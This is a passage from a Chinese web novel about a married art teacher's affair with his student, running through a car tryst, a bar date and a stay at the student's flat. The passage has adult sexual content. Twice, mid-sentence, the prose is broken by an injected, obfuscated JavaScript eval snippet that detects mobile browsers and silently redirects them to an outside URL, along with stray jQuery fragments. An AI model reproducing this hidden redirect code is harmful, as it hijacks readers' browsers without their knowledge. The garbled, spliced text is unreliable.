谢念慈不说话,听得很认真。 实话说,哪怕谢念慈嫁给林承望算“上嫁”,他自己的家庭也不差。他的父母去世得很早,姥姥姥爷是S市某高校的教授,就算没那么权势滔天,但也没让他吃过苦。蒋淳这种普通家庭出生的学生和他聊未来,乍一听,竟让他有点心塞。 谢念慈问:“你在我这里不要钱也不要其他的东西,那你要什么?” 要感情吗? 但离婚太难了,他不敢说。 蒋淳笑:“嗯……我想要什么?我想要有一天能和老师一起办画展,画展上一半是老师的作品,一半是我的作品,这样行不行?” 谢念慈说:“那你努力吧!” 说着,蒋淳凑得更近了,他闭上了眼睛。 “老师也上过陈杰教授的电影鉴赏课?” 想象中的吻并没有落下,谢念慈睁开眼,看见蒋淳在他的车载屏幕,笑着问他。 谢念慈脸烫烫的,扭过头,装作无事发生说:“嗯,怎么十几年了,他还在上这个课吗?” 蒋淳说:“还在上呢。我大三的时候选了,他特别爱给人塞他喜欢的电影,还让我们收藏他的歌单……我听学长学姐说,他的电影名单十几年都没变过。” 谢念慈忍不住笑了。 蒋淳又靠近了他,这一次不再是虚晃一枪,而是真真切切吻住他的唇。 路特斯车内十分宽敞,两个人抱在一起亲吻也不算拥挤。谢念慈被蒋淳压在靠椅上,亲得头脑发昏,疑心自己空调没开够,浑身燥热,不一会儿便湿了。蒋淳的吻技已是不俗,咬着他的唇,挑逗着他的舌头,手伸入他的衣摆,轻轻抚摸他的腰。 蒋淳一面亲他,一面说:“要不要试试在车上呢?” 谢念慈问:“车上?” 蒋淳在他耳畔说了一个词。 谢念慈忍不住推开男人,脸和脖子全红了,说:“你怎么能这样不正经……” 蒋淳笑笑,亲了亲他的脸:“好了,不闹了,我先下去了。” 说罢,便要拉开车门。 谁料谢念慈忽然起身,跪在车座上,抓住他的手腕,用一双湿润的眼睛看着他,被亲得嫣红的嘴唇开开合合:“不是说想玩车……震……的吗?” 10.第 10 章 ………… 结束后谢念慈累得一点也不想动,懒散躺在后座上,看蒋淳忙里忙外,用湿巾给他擦身体,擦去到处都是的水痕,重新安装儿童座椅…… 蒋淳一边把纸巾团丢入塑料袋,一边问:“已经过了七点,老师还回去吃饭吗?” 谢念慈依偎在他的怀里,小声说:“一会儿我和你一起吃点东西吧,九点再回庄园,就说画室有点事,在外面吃了。” 蒋淳笑:“和我吗?” 谢念慈拍了他一下:“当然!不和你,还能和谁?难道你让我现在下车随便拉一个男的陪我吃晚饭吗?” 蒋淳给他套上衣服:“不行,那个男的死定了。” 他们没在这家商场吃,因为心里有点过不去,怕有人看到了,换了一个三公里外的综合商场。谢念慈累得不想开车,让蒋淳来开,他就坐在副驾驶休息,左手轻轻挽着蒋淳的手臂,偏着头,眼睛一错也不错盯着蒋淳,都市的霓虹在他的眼睛里闪烁不止,里头倒映着两个小小的蒋淳。 蒋淳看了他一眼,问:“老师怎么一直看着我?不舒服吗?” 谢念慈脸红,眨了眨眼说:“没有不舒服……蒋淳,你好厉害,真的,不骗你,好喜欢和你做那个事……” 刺啦一声,红灯,蒋淳猛地刹车。 “只是喜欢和我做吗?”蒋淳似笑非笑。 谢念慈也不懂自己怎么就说出这种乱七八糟的话,赶紧转过脸,气道:“那不然呢?我都夸你了,你还想要什么?我……”他的声音越来越小,“我现在说话越来越不正经了,都怪你……” “嗯嗯,怪我。”蒋淳大包大揽一切责任。 没办法,谢念慈就是得哄着,逗得太紧了会把人惹生气。蒋淳可不想谢念慈生气,那个名义上的丈夫已经够让谢念慈烦心了,既然选择了出轨,那不就是为了寻求丈夫以外的安慰吗?蒋淳认为自己很有男小三的觉悟。 他们一起去吃了某家很有名的泰国菜。谢念慈说,这几年他攒了很多很多想去的餐厅,一直想找人陪他试一试,但丈夫总是以忙碌推脱,如今终于有伴了。 很多很多餐厅。 有多少家? 谢念慈咬着吸管,喝了一口泰红咸奶,翻开手机备忘录,数了数,说:“大概有四五十家吧!” 蒋淳问:“老师能带我去吗?” 谢念慈假装自己在深思熟虑,过了片刻,故意不情不愿说:“看你的表现。” 蒋淳笑:“什么表现?” 谢念慈在桌子底下踢了蒋淳一脚。 吃到最后,谢念慈对这家泰国菜的评价是一般般,网红店,纯预制菜,不懂为啥那么火。他和蒋淳嘟嘟囔囔,说冬荫功汤里的虾不够新鲜、火山排骨没几块肉、打抛饭不正宗……蒋淳一面认真听,一面偷偷付了饭钱。 谢念慈真是懒得说他,大概也是体会到了蒋淳的自尊心,叹了一口气,随便他去了。吃完饭,两个人手牵手逛商场,从一楼逛到三楼,又从三楼逛到负一楼,买了奶茶冰淇淋小蛋糕等等小玩意儿。谢念慈是典型的嘴巴大肚子小,看到什么都想吃,但吃了一口就发腻,他和蒋淳回到路特斯上,车里情事的气味已经散得差不多了,两个人你一口我一口,分着开心果酱巧克力冰淇淋,听车载广播里的相声节目。 他的腰和腿还软着,让蒋淳开到公寓楼下,才换了回他自己,临走前,蒋淳又吻了他很久,只是没咬嘴唇。 “晚安。”蒋淳说。 “晚安。”谢念慈也说,缓缓摇上车窗。 “明天见?”蒋淳忽然又说。 谢念慈又摇下车窗,手搭在上面,想了一会儿,说:“明天是星期天,我公婆很麻烦的,应该见不了,星期一在画室见吧。” 蒋淳握了握他搭在车窗上的手,掌心温热:“好,星期一见,你路上小心。” 这下是真的再见了,谢念慈把车开出蒋淳的公寓,打开车载音乐,摇下车窗,让夜风吹散今天发生在车上的一切,也吹散了蒋淳的气息。他像是主动遗落水晶鞋的辛德瑞拉,午夜十二点之前必须回家,但蒋淳不是王子,不是骑士,实际上他也不是辛德瑞拉,这个世界上没有魔法。 他很清醒,他知道出轨就是出轨,但他忍不住赋予这件事浪漫的定义,因为只有这种时候,他才能喘一口气,才能变回他自己。 回到庄园,已经将近十一点,林父林母以及小鱼都睡下了,他吩咐庄园的员工明天帮他洗车,然后 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林承望似乎在洗手,外面哗啦哗啦的响。谢念慈百无聊赖靠在浴缸里,心里嘟囔,想为什么林承望不进来看一看他?他的身体真的没吸引力了吗?但看蒋淳在床上的样子,似乎又不是那样的…… 林承望说:“爸妈打算下周就飞去多伦多度假,宝宝你们学校也放假了吧?到时候我们带着小鱼和爸妈一起走。” “我能不能留在B市?” 几乎是不假思索,谢念慈脱口而出。 只要有家庭在身边,对谢念慈而言,就不是真正意义上的度假。要看小孩,要伺候公婆,要照顾老公,哪怕不用他动手做什么,光是和林家人交流,就让谢念慈倍感疲惫。 他想要一次真正意义上的假期。 睡到中午,不用接小孩上下学,想吃什么就吃什么,想去环球影城就去大玩一通,想找人喝酒就打电话给朋友,或者在画室对着空白纸张消磨时光…… 当然。 还有一个原因。 一个背叛家庭,但会让他非常满足的原因。 11.第 11 章 谢念慈原本以为林家人会不同意,但令他意外的是,林承望的母亲骆秀同意了。 那个时候烈日当空,男人们打起高尔夫就忘了炎热,在茵茵草坪上尽情挥洒汗水,polo衫、西装裤、棒球帽、定制的球杆……队伍浩浩荡荡,也不知当年皇帝围猎比之如何,不过想来骑马射箭怕是没有现代高尔夫运动优雅,一群男的站在那里挥一挥杆,谈笑间又是一桩生意。 丈夫和公公醉心高尔夫,谢念慈又不能走,他和骆秀坐在观光车上,不远不近看着远处的男人们,两两无言。 早上他把留在B市的事说了,换来的是一阵沉默。这件事看不得林承望,林家的最高话语权永远属于林高格,父子俩关系不好,一直对着干,林承望说,他双手双脚赞成谢念慈留在B市,真心不一定,但一定是为了气林高格。 远远看过去,父子俩的脸色都不太好,他们在争谁能一杆进洞。这些年林承望到处飞,亲自去谈生意,就是想把老子的江山夺到自己手里。 小鱼在草地上玩耍,球童和保姆阿姨在给他捉蟋蟀,捉到了,就用玻璃瓶装起来,拿草棍逗蟋蟀玩。 小孩非常喜欢他的蟋蟀,噔噔噔跑到妈妈面前,大方展示,很是得意道:“妈咪你看,蟋蟀!” 谢念慈有点怕虫,好在隔着一层玻璃,那几只蟋蟀在罐子里摆动着触须,很命苦的样子,叫个不停。他哄小孩说:“我们小鱼真厉害,不怕虫子。不过蟋蟀也是生命,小鱼不能伤害他们,记得玩够了把它们放回去哦。” 小鱼很听话,玩了一会儿,就把蟋蟀们放走了,满天大汗跑回观光车,谢念慈抽出几张湿巾,给儿子擦汗擦手。 “妈咪,好热啊。”小鱼哼哼唧唧说。 谢念慈也热,观光车的空调不给劲,他又穿着长裤,热得脑袋发昏,当下就回过头,问他的婆婆:“妈,要不我们先回去吃午饭?” 骆秀在后座一动不动,戴着墨镜,看不出眼中的情绪,她的坐姿端庄优雅,依稀可见年轻时的美丽。她扶了扶墨镜,看着谢念慈,说:“行,这天也太热了,也就那帮男人不懂累的……”说着,她俯下身,摸了一把孙子的脸,笑说,“别把我们的小鱼宝儿累坏了,是不是?” 小鱼乖巧点头。 观光车缓缓往回开。 “念慈,你真的想留在B市吗?” 骆秀突然发话。 谢念慈心里一紧,说:“是,画室那里有点事,这几年艺考改革,学生们的家长很着急,东问西问,我想着下星期去教育局开会,看看今年的动向……” 人要撒谎,总能挖掘出千百个借口,比方说教育局的会议,并不是什么重要的大会,但被他夸大了。面对这家人,他不能用“想休息”搪塞,只能用正事推脱。 骆秀问:“那小鱼谁来带呢?” 林承望啊。 谢念慈腹诽。 爹不带儿子的下场就是变成林家父子,没有爹慈子孝,没有父子情深,只有谁也不服谁,闹得外人以为父子离心了。 谢念慈说:“覃阿姨也会去的,麻烦妈关照一下,小鱼这个孩子很好带的,不吵不闹,就是爱问问题……” 骆秀没说话,盯着谢念慈看,看得谢念慈起了一身的鸡皮疙瘩。最后,骆秀叹了一口气,轻声说:“行,你在B市休息休息吧,这几年你也辛苦,好好歇一歇,明后年再和承望给小鱼生个弟弟妹妹。” 谢念慈先是喜,后是烦,但还是说:“谢谢妈……不过爸那边?” 骆秀说:“我替你争取争取。” 说完,她不再出声,撑着下巴看向远处的人群,她的丈夫儿子和生意伙伴们站成一排,正在不停地挥杆。 砰的一声。 高尔夫球划出一道完美的弧线,男人们爆发出阵阵欢呼,而那只蟋蟀已经消失了,绿草依旧在漫山遍野。 …… 周一早上,谢念慈一到画室,还没走几步,赫然发现了一位不速之客。 也不能说是“客”,毕竟黄瑞是画室的另一个合作人,总算过完了他长达一年的环球蜜月旅行,再次回到画室工作。 此人是个地道的B市少爷,西装裤配凉拖,身上花里胡哨挂了一大堆饰品,潮得风湿,给人一种随时会跑去livehouse大唱特唱的错觉,靠谱又不靠谱的,玩的也确实是后现代艺术。 黄瑞一看到他,“啧啧啧”了片刻,绕着他走了几圈,嘴上使坏说:“一年不见,谢教授的心情很好啊!” 谢念慈拍了一下黄瑞的肩,开玩笑说:“黄瑞,你这张嘴太贱了,小心我和你老婆告状……蜜月过得怎么样?” 黄瑞搓了搓脸,唉声叹气:“也就那样!我滴酒未沾,到哪儿都不得劲。她倒是逍遥快活,天天打扮得漂漂亮亮出门,光线好一点就要拍照,我是去给她当摄影师的!” 说是这样说,但语气里依然含着一抹甜蜜。 谢念慈说:“好不容易追到你自己的女神,还结了婚,当个摄影师又不会掉一块肉,我看你心里怕是高兴得很……” 两个人正说着话,大画室里也课间休息了。一群学生涌出,围着蒋淳嘻嘻哈哈,有人不停地问:“蒋哥,你是不是有情况?手上的发圈哪里来的?” “我草我草,蒋哥有女朋友了?” 学生们顿时沸腾了,扯着蒋淳不放手,非要问出个所以然。 蒋淳笑了一声:“你们好八卦,我哪里来的女朋友?忙都忙死了。不就是一个发圈嘛,我打算留长发了,提前买发圈适应适应嘛。你们一个个看到画板就唉声叹气,听到八卦比谁都跑得快,要是在画画上都上点心,早就个个B美T美了。” 学生们嘁他。 谢念慈悄悄瞥了一眼,看到蒋淳今天穿着黑色T恤运动长裤,手腕上的黑发圈很是显眼,浑身上下清清爽爽。他下意识摸了摸自己的头发,今天没扎起来,松松披在脑后,心里鼓鼓涨涨的,说不清是酸是甜,还是其他什么的滋味。 蒋淳似乎也看了他一眼,但碍于学生们眼尖,那目光只轻轻掠过他,旋即无影无踪。谢念慈想要抓住,却也明白这不是对视的好时机。 在庄园里,他不敢切换小号和蒋淳聊天,同样在画室里,他也不能和蒋淳正大光明对视,他知道自己一定会露出马脚。 “阿慈……” 黄瑞在叫他。 很聒噪。 “你和林承望怎么样了?上次你突然说要找婚姻咨询师,把我吓了一跳,你去了吗?效果怎么样……” “挺好的。” 谢念慈说。 他和林承望挺好的,互不干扰。 和蒋淳也挺好的,两天后林家集体飞往多伦多过暑假,而在骆秀的争取之下,他暂且留在B市,大约有两个星期的时间做自己想做的事,比如和蒋淳约会。 “喂喂……”黄瑞不停在他眼前晃动双臂,“你看到什么了?笑得一脸荡漾。对了,我发现阿慈你的脸色比以前好多了……” 谢念慈匆忙收回思绪,摸摸脸颊,胡乱说:“有吗?你瞎说什么?我明明……”一时情急,咬到了舌头,疼得他眼泪都快冒出来了。 黄瑞沉默片刻,若有所思看着他,不再吊儿郎当,而是在打量谢念慈,从头到尾,随后目光一动,落在方才学生们离去的方向。黄瑞说:“真的,你气色特别好,和我刚认识你的时候差不多,二十岁左右,热恋期……那个婚姻咨询师真的这么神?” 谢念慈轻咳了一声,匆忙掩饰,他一边转身向办公室走去,一边敷衍好友:“不知道,没去过,我在网上查了,那个咨询师风评不好……气色可能是因为我婆婆带我去看了中医,喝中药调理了几个月……对了,你说好给我带礼物的呢?” 黄瑞追上去,口中道:“买了买了,我明天给你带过来嘛……” …… 三天后,谢念慈在机场送走了家人。 他在机场一直等到飞机起飞,确认家人们真的走了,当即开车回家。没有老公,没有儿子,没有公婆,只有他自己。他的车开得飞快,险些超速,导航连报了几次“您已超速”后,他终于冷静了下来,心里渐渐渗出几丝歉疚。 飞机起飞前,小鱼和他拉勾,细声细气说:“妈咪要给我打电话哦,我会想妈咪的……”说着,小孩眼泪直掉。 谢念慈说:“好,妈咪一定给你打电话,每天都打,你也要听爸爸和爷爷奶奶的话。” 小鱼哭着点头,伸出自己的手:“拉勾勾,一百年不许变,变了妈咪是小狗。” 谢念慈只好和儿子拉勾。 小孩的手那么小,捏在手里软得惊人,他才发现这是他第一次要离开儿子半个月,心里顿时五味杂陈。激素的力量太过吓人,在生小鱼之前,他没办法想象自己会对一个人牵肠挂肚,但有了小鱼之后,他开始各种担惊受怕,甚至不敢想小鱼长大了,去外面读书,结婚生子……他该有多伤心。 临走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162211|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,小鱼趴在林承望的肩头,对他说:“妈咪要开心哦。” 你要开心哦。 谢念慈想起儿子的话,一瞬思绪拉回,车载音响里播放着他最爱的英伦摇滚,车外鸣笛声此起彼伏,他终于感到了一丝解脱。 即使对不起儿子,但能让他开心的事…… 他给蒋淳打电话。 “今天晚上你有空吗?” 说话时,他的声音都要飘了起来。 蒋淳在那头削铅笔,闻言笑了笑,问:“你家里人都走了?” “刚走,明天到多伦多。”谢念慈跟着音乐摇晃脑袋,“今天晚上我想去喝酒,蒋淳,你要不要一起?” “好。” 一拍即合。 回到家,谢念慈没怎么休息,他原本想大睡一觉,醒来随便吃点东西再去喝酒。可站到镜子前,看着素面朝天的自己,改了主意。 他从衣柜里翻出一个大衣箱,打开,尘封多年的吸潮香丸的气息扑面而来。这里都是他结婚前的衣服,基本上约会时穿,他记得有一条红裙子,露背的,原本是想圣诞节穿去见在美国留学的林承望,但由于种种原因,未能如愿,裙子也没有再穿过。 那些穿过的衣服,和林承望一起的衣服,他并不打算穿了,即便它们依旧很漂亮,但他要见的人是蒋淳。 他想回到二十岁,去见蒋淳。 而且他选的酒吧有点危险,名气很大,容易被人认出来,如果女装的话,他又化一点妆……应该没问题吧? …… 蒋淳下午四点回到公寓,捣鼓了半天,实在不懂该穿什么比较好。谢念慈给他发了酒吧的地址,高端酒吧,或许穿衬衫西裤是最好的选择,但未免太正式了……T恤运动裤?又太随意了。万一和谢念慈搭不上呢? 一直磨蹭到七点,他穿着衬衫西裤出门了。 酒吧位于B市某时尚地标的后街,那里一条街都是各种酒吧夜店,入夜后热闹非凡,红男绿女穿梭其中,眉梢唇角带着醉意,烟视媚行,而身后是霓虹闪烁的高楼大厦。 他如约而至。 酒吧里放着爵士乐,有一个不大不小的舞池,男男女女在其中轻摆腰肢,不像寻常夜店那般吵闹热烈,充满了悠扬与闲适。灯光昏黄,酒杯与酒杯相互碰撞,他穿过舞池,路过那些柔软的陌生人,寻找谢念慈的身影。 忽然手腕一凉。 有人握住了他的手腕,或者说,拉住他手腕上的那根发圈,坏心眼地弹了他一下。 “老师?” 蒋淳不用猜都知道是谁。 即便谢念慈喷了香水。 他转过身,看见穿着红裙的谢念慈正对着他浅笑。见他回过了头,谢念慈撩起一缕鬓发,别到耳后,即使灯光迷离,但依然看见通红的耳垂。 这条鱼尾红裙是绑带的,酒红色的绑带缠绕着素白耀眼的脖子、肩膀,就算谢念慈身材清瘦,依旧勒出了一丝隐秘的肉感,裙摆开了一道口子,露出修长的小腿和红底高跟鞋。 蒋淳盯着眼前的人,喃喃说:“还好我最后还是换了正装……” 谢念慈牵着他的手,小声说:“和我一起跳舞吧,我已经很久没有和别人跳过舞了。”说着,把蒋淳拉进舞池。 蒋淳看到他光/裸的背,几根酒红色绑带紧紧勒着肌肤,蝴蝶骨和脊椎在肌肤下若隐若现,洁白,细腻。 但是…… “老师,我不会跳舞。” 蒋淳语气实诚。 “这有什么?” 谢念慈也很实诚。 “我也不会。” 于是两个不会跳舞的人手拉着手,在舞池里拙劣地模仿其他人,随着音乐摆动腰肢。这家酒吧的老板歌品极佳,冷爵士悠扬舒展,光影错落有致,男男女女小步跳着舞,调酒师在吧台为美酒喷洒金粉。 蒋淳看到谢念慈的眼角也沾了金粉,在昏暗的光线下散发着微渺的细光。谢念慈的眼睛也是亮的,一眨不眨盯着他,轻轻转身,鱼尾裙如玫瑰绽放,又轻轻落下。 “今晚你要回家吗?” 蒋淳明知故问。 真是奇怪,他不会跳舞,谢念慈也不会跳舞,但彼此之间却不曾踩到对方的脚。他们靠得很近很近,听得到彼此的心跳,一打打,二打打,心跳共鸣,动作也变得默契。 谢念慈和他脸贴着脸。 “我的家人在多伦多。” “蒋淳,带我回家吧。” 12.第 12 章 跳舞跳累了,两个人手牵手走向吧台。 虽然说了要回家,但并不着急,毕竟有两周的时间可供他们挥霍。谢念慈一直很惦记这家酒吧的特调鸡尾酒,口味清甜,外观华丽,一向是网上公认的B市约会圣地。 “您好,请问您二位需要点什么?”酒保也是个挺拔的帅哥,眉目深邃,看着像混血儿,笑起来眼泛桃花,“女士,您今天的红裙非常耀眼,令人移不开眼。” 谢念慈乍一被陌生男人夸奖,脸红了,把头埋进蒋淳的怀里无声地笑,旋即起身接过酒保的酒单说:“谢谢你的夸奖,请来一杯玛格丽特。” 他转头,看向蒋淳,整个人笼罩在昏暗醇厚的灯光下,浑身散发着淡淡的玫瑰香水味,脸庞泛着可人的粉红,像一株成熟至极的花,似乎只需人用手轻轻拨弄,便能流出糜烂芳香的花汁。 “蒋淳,你要喝点什么?” 蒋淳问:“有没有度数低一点的?” 酒保说:“酒单上度数在12%的都比较好接受。” 蒋淳没理那位帅酒保,只是看着谢念慈,缓缓凑近对方,在耳畔小小声说:“老师给我推荐吧,我平时只喝啤酒和红酒。度数不能太高,我喝多了,怕不能带你回家了。” 谢念慈几乎被他抱进了怀里,两个人呼吸相闻,亲密无间,一想到还有酒保在看着,他有些害羞,说:“我觉得他们家的特调都不错,你点那个‘迷爱’吧,酸酸甜甜的,酒精也不高。” 蒋淳咬了一下他的耳垂,抬起头对酒保皮笑肉不笑说:“一杯‘迷爱’,谢谢。” 酒保的动作行云流水,一杯玛格丽特很快摆在了谢念慈的面前。酒保拿出一个造型精美的喷壶,鞠躬,很有礼貌对蒋淳说:“先生,可否借用您的爱人片刻?” 不好。 蒋淳有些烦躁了。 酒保在看谢念慈,路过的男人在看谢念慈,所有人都在看谢念慈……光洁美丽的背吸引了所有人的目光,即便蒋淳轻轻揽着谢念慈的腰宣示主权,依然挡不回那些蠢蠢欲动的眼睛。 但谢念慈正在兴头上,他不想让对方难受,只得大度道:“当然可以。” 谢念慈挑眉,用高跟鞋的鞋尖去蹭他的脚踝,似笑非笑问:“真的可以吗?蒋淳,你不吃醋吗?” 蒋淳如实道:“吃醋啊,但你高兴就好了,大庭广众之下,他又不可能对你做什么。” 酒保笑说:“女士,请伸出您的手。” 谢念慈伸出了手,放在酒保的手心。 酒保很绅士,没有过多的暧昧,拿着喷壶的手玩了几个花活,忽然金粉迸发,那杯玛格丽特上满满撒了一层的金粉,谢念慈的手臂、肩膀也沾了许多,在灯光下闪闪发光。 “哇!”谢念慈又惊又喜,沾了一身的金粉,他下意识就往蒋淳的脸上抹,这下两个人浑身都金灿灿的了,笑作一团。 蒋淳没想到谢念慈这么能喝,烈酒一杯接一杯,喝得两眼朦胧,脸颊绯红,甚至不肯坐在自己的位子上,非要往他怀里钻。 “……蒋淳,你是什么星座?” 谢念慈把头靠在他的颈窝,小小声问。 蒋淳说:“射手座……好啦,老师你稍微动一下,我结个账。” 谢念慈听话又不听话的,乖乖从他怀里溜了出去,但依然紧紧抓着他不放手,眼睛里满是细碎的光点:“我是双子座,你是射手座……我们天生情投意合……蒋淳,你知道吗,我其实挺信这些东西的,星座、八字……一旦爱上一个人,我就忍不住从各方各面佐证我们天生一对……他是水瓶座,理应上我们特别适合结婚,八字也契合,但为什么呢?” 蒋淳扫码的动作一顿。 他们刚刚也聊了很多,聊艺术,聊学校里的教授八卦,聊画室的学生,但都很有默契避开了有关谢念慈婚姻的话题。 谢念慈大概是真醉了。 他穿着高跟鞋走了几步,忽然很委屈地说:“什么破鞋子!穿得我脚好痛……”说着,便把鞋子脱下丢在路边,光着脚气冲冲向前走,走得东倒西歪。 蒋淳无奈,只得跟在他后面捡鞋子,然后大步上前,将人打横抱起,说:“那就不穿了,我抱你回家。” 谢念慈在他怀里吃吃地笑:“真的吗?我没开车哦。” 蒋淳亲了亲他的额头:“你到底醉没醉?” 谢念慈晃了晃脚,说:“你猜。” 蒋淳抱着谢念慈走在灯光阑珊的路上。此时已接近午夜十二点,走出人声鼎沸的酒吧一条街,其余的道路上行人寥寥。深夜的B市露出了它古朴苍老的一面,那么寂静,那么孤独,只有匆匆的行人与车辆,偏偏酒吧街像是不知疲倦的年轻人。 谢念慈抱着自己的高跟鞋,说:“你不打车吗?” 蒋淳说:“老师没有开车,这里离我的公寓只有半个小时的路程,我猜猜……是不是想和我一起散步回去呢?难得有时间,我抱着老师慢慢走回去吧。” 谢念慈问:“你不累吗?” 蒋淳笑:“还好吧,老师又不重。” 两个人一起沉默。 “……其实,我一直怀疑他出轨了。”过了许久,谢念慈轻声说道,“所以那天干脆破罐子破摔,想着他出轨我也出轨,找到了你。蒋淳,对不起。” 蒋淳说:“原来是这样吗?” 谢念慈问:“你不生气吗?” 蒋淳故意板起脸:“生气,很生气,一想到我只是老师用来报复那个人的工具,心都在滴血。” 谢念慈赶紧摸了摸他的脸,小心翼翼说:“对不起……但我真的没有把你当成工具,蒋淳,你很好,特别好。” 蒋淳笑了出来:“骗你的,我怎么可能生气?我不是都说了吗,老师把我当成□□也没问题,只要能让我看到老师、待在老师的身边,做什么都可以。” 谢念慈拍了一下他的肩,忽然又沉默了,眼睛里渐渐含着水光。他把脸埋进蒋淳的怀里,裙摆随着蒋淳的脚步轻轻抖动,声音闷闷的:“他的父母一直不支持我们,高中的时候我们就开始谈恋爱了,他的妈妈几次三番找上我,问我是不是谈来玩玩,玩一玩可以,但结婚绝对不行……” 长达七年的异国恋,回国同居,结婚生子。 大概是因为醉酒的缘故,谢念慈说得颠三倒四,哭得蒋淳的衣襟全湿了,那些闪亮的金粉被泪水一糊,黏哒哒粘在脸上,不再轻盈华美,而成了一道陈旧的疤,越擦越难看。 “我嫁进林家的时候,他特地飞去澳大利亚见我的姥姥姥爷,说,念慈嫁进他们家绝对不会受委屈,但他食言了……” 谢念慈说得乱七八糟,上一秒在控诉林承望,下一秒又变成了自己的儿子:“蒋淳,蒋淳,你知道我在林家唯一的留念是什么吗?是我和他的儿子,特别可爱,小小一个,脸软软的很好捏,天天妈咪妈咪的叫我……我全程母乳喂养,怀孕的时候多得我儿子吃不完,只好让他帮忙处理了……” 蒋淳脚步一顿:“怎么处理?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168306|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谢念慈笑了笑,抚摸蒋淳的脸,问:“你想吃吗?” 蒋淳说:“当然想。” 话音刚落,谢念慈便低下头,要扯开肩带。 蒋淳吓得连忙制止:“别闹,现在还在外面呢!” 谢念慈直笑:“骗你的,我现在又没有,你想吃都吃不到!” 蒋淳真是拿他没办法,夏天那么热,两个人抱在一起走路,热的彼此都出了一身的汗。蒋淳能感受到谢念慈滑腻的后背,慷慨大方地展示给这个沉睡的都市,那些高楼屏息默立,偶尔有某个窗口灯光闪烁,像是在注视着拥抱的两个人。 谢念慈的思维很跳跃,远比平时的那位林太太、谢教授要活泼。他已经不是在讲述过去了,而是在碎碎念,说着林承望去俄罗斯找他,被人误以为是间谍,又忽然话头一拐,拐到普希金餐厅的柠檬蛋糕上,说柠檬蛋糕好吃到记不得普希金是谁……但蒋淳总是能跟上他的思路,两个人像林间乱窜的松鼠,跳到这棵树又跳到那棵树,蒋淳你看你看这里有松果,老师老师我看到了,啪嗒一打开,松果上每一粒都写着“林承望”三个大字。 蒋淳这才发现最难战胜的东西,是谢念慈身上那一段青春岁月。 有些人可能真的不合适,但在对的时间对的地点出现了,于是不可避免的陷入爱河。蒋淳在错误的时间错误的地点遇见了谢念慈,彼此有着错误的身份,他们才互相熟悉了一个月而已,即使有过肌肤之亲,但与耳鬓厮磨依然相差太多。 两个星期。 两个星期。 蒋淳抱着谢念慈,心里一半甜蜜一半嫉妒,想,他该如何让这两个星期战胜谢念慈过往的十几年?他们的关系始终在走钢丝,而他却想要更多,类似刻骨铭心。 “蒋淳,蒋淳……” 谢念慈在叫他的名字。 蒋淳发现谢念慈很喜欢叠叫他的名字,不是“蒋淳”,而是“蒋淳蒋淳”,为什么是蒋淳蒋淳呢? 他轻轻蹭了蹭谢念慈的脸:“怎么了?” 谢念慈看着他,问:“你是不是不高兴?” 蒋淳微微一怔。 谢念慈也回蹭他的脸:“我今天晚上一直在说他……你不喜欢吧?你放心,之后我不会再提起他了,因为……” 和林承望的故事已经暂停了。 再无可说。 而他和蒋淳已经到达了公寓楼下。 两个人进了电梯,蒋淳按下十五楼的按键,提着谢念慈的高跟鞋。而谢念慈正趴在他的怀里,闭着眼睛,与他接吻。 嘴唇,牙齿,舌头…… 每一寸,每一处,互相痴缠。 他勉强稳着神志,一面吻谢念慈,一面死死盯着跃动的楼层,1,2,3……9,10,11……谢念慈一直在迎合他,吻到情动之时,他能听到谢念慈在轻轻叹息。楼层数跳到15,蒋淳一个没注意,按到了15楼旁边的一大排按键,随后抱着谢念慈,走了几步,把人压在自己公寓的门上亲吻。 嘴上亲着,手也没停下来。左手挑起谢念慈后背的丝带,在细腻的裸背上缓缓游走,丝带勒得谢念慈更紧了,肉感更加明显。右手则掏出钥匙,开门。 门一开,两个人迫不及待倒在玄关的地上,亲了片刻,他才放开谢念慈,起身把门关上,然后装作无事发生,弯腰脱鞋。他把谢念慈的高跟鞋放在鞋架旁,红底黑绒面细跟,没立稳,一只倒了,他试着扶起来,余光却看见谢念慈抬起一只脚…… ……………… 13.第 13 章 …………………… 一觉到傍晚。 谢念慈醒来的时候公寓里只有他一个人,拿起手机一看,蒋淳说他下午有课,不过快回来了。被过度刺激后的身体在和谢念慈抗议,他下床走了几步,腿一软,差点坐到地上。环视四周,灰白格子床单挂在阳台上,和他那条吊带红裙一起,在傍晚的风中飞舞。 他穿着蒋淳的T恤,衣摆堪堪遮住大腿。他走到蒋淳的衣柜前,拉开门,扯出一条内裤一条外穿的短裤给自己套上。蒋淳已经帮他洗过澡了,身上散发着好闻的沐浴露香气。 谢念慈:【我想回家一趟。】 谢念慈:【把车开到你这里的地下停车场。】 谢念慈:【顺便再拿点衣服。】 蒋淳:【老师要和我住吗?】 谢念慈:【那不然呢?】 蒋淳:【求之不得,老师你直接下来吧,我已经到楼下了,我陪你一起去,然后吃个晚饭。】 于是谢念慈穿着男人的衣服直接下了楼,蒋淳在路边等他,高挑的个子很瞩目,穿着白色T恤,和他身上的这件黑T恤似乎是一个系列的。 正值晚高峰,打车不方便,谢念慈强烈要求坐地铁,两个人就手牵手走进人群里,挤了大半个小时的地铁,才到达谢念慈常住的高档小区外围。这是以大平层为卖点的住宅区,外表看起来十分现代,谢念慈让蒋淳在地下停车场门口等他,随后快速坐电梯上楼。 